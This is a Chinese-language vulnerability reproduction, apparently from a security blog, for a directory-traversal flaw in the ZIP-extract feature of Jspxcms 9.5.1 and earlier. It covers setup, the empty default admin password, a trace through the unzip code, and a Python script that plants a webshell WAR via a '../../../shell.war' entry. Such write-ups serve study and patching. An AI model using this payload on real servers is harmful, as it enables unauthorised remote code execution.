Jspxcms 是企业级开源网站内容管理系统,支持多组织、多站点、独立管理的网 站群,也支持 Oracle、SQL Server、MySQL 等数据库。
Jspxcms-9.5.1 及之前版本的后台 ZIP 文件解压功能存在目录穿越漏洞,攻击者可以利用该漏洞,构造包含恶意 WAR 包的 ZIP 文件,达到 Getshell 的破坏效果
在 MySQL 中创建数据库,字符集选择为utf8
或者utf8mb4
(支持更多特殊字符如表情字符 emoji,推荐)。
执行数据库脚本。数据库脚本在database
目录下。
create database jspxcms;
use jspxcms;
source mysql.sql;
找到 Tomcat 的安装目录,将 webapps 目录下 ROOT 文件夹删除(也可将webapps 目录下所有文件夹都删除)。建议使用干净的 Tomcat,不要部署其它应用。将下载包中的 ROOT 文件夹拷贝到 tomcat/webapps 目录下。
打开/ROOT/WEB-INF/classes/application.propertis
文件,根据实际情况修改
spring.datasource.url
、spring.datasource.username
、spring.datasource.password
的值。
双击 tomcat/bin/startup.bat 文件启动即可
后台http://192.168.111.140:8080/cmscp/index.do admin 默认密码为空
使用 Burp Suite 进行抓包可以发现“解压文件”的接口调用情况
该接口对应 jspxcms-9.5.1-release-src/src/main/java/com/jspxcms/core/web/back/WebFileUploadsController.java 的 unzip 方法
对 unzip 方法进行跟进,发现它的具体实现在/jspxcms-9.5.1-release-src/src/main/java/com/jspxcms/core/web/back/WebFileControllerAbstractor.java 中。在对 ZIP文件进行解压时,程序调用了 AntZipUtil 类的 unzip 方法
对 AntZipUtil 类的 unzip 方法进行跟进,可发现该方法未对 ZIP 压缩包中的文件名进行参数校验就进行文件的写入。这样的代码写法会引发“目录穿越漏洞”:
代码中使用
entry.getName()
获取 ZIP 条目的名称,并将其用作目标文件的路径
创建包含jsp webshell的war包:
制作恶意 ZIP 文件
import zipfile
if __name__ == "__main__":
try:
binary = b'test'
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test.zip")
with open('shell.war', 'rb') as file:
binary_data = file.read()
zipFile.writestr("../../../shell.war", binary_data)
zipFile.close()
except IOError as e:
raise e
上传文件
点击ZIP解压,shell.war就被解压到了webapps目录